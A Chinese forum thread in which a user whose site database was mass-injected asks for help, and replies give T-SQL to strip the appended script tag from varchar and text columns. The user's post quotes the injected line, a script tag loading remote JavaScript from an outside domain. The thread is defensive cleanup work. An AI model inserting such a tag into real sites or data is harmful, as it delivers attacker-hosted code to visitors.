昨天网站被挂马,数据库中所有文本字段全部被追加一个<script>脚本
1995<script src=http://quanhongfushi.com/n.js></script>
请帮帮忙啊

解决方案 »

  1.   

    --參考
    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
      

  2.   

    to:wufeng4552
    谢谢你,varchar类型的处理了,我还有个问题再问下
    类型为text的也被追加了
    我把
    DECLARE @fieldtype sysname
    SET @fieldtype='text' --这里我改成text结果报错,麻烦了
    -----------------------------------------
    服务器: 消息 8116,级别 16,状态 1,行 1
    函数 replace 的参数 1 的数据类型 text 无效。
      

  3.   

    对于Text数据类型, 用TEXTPTR操作数据, 更新用UPDATETEXT
    具体操作可是帮助文件里查找这两个关键字, 里面有详细的例子
      

  4.   

    请查看精华帖中关于注入的专题,
    中间专门有提到关于text的注入怎么处理的.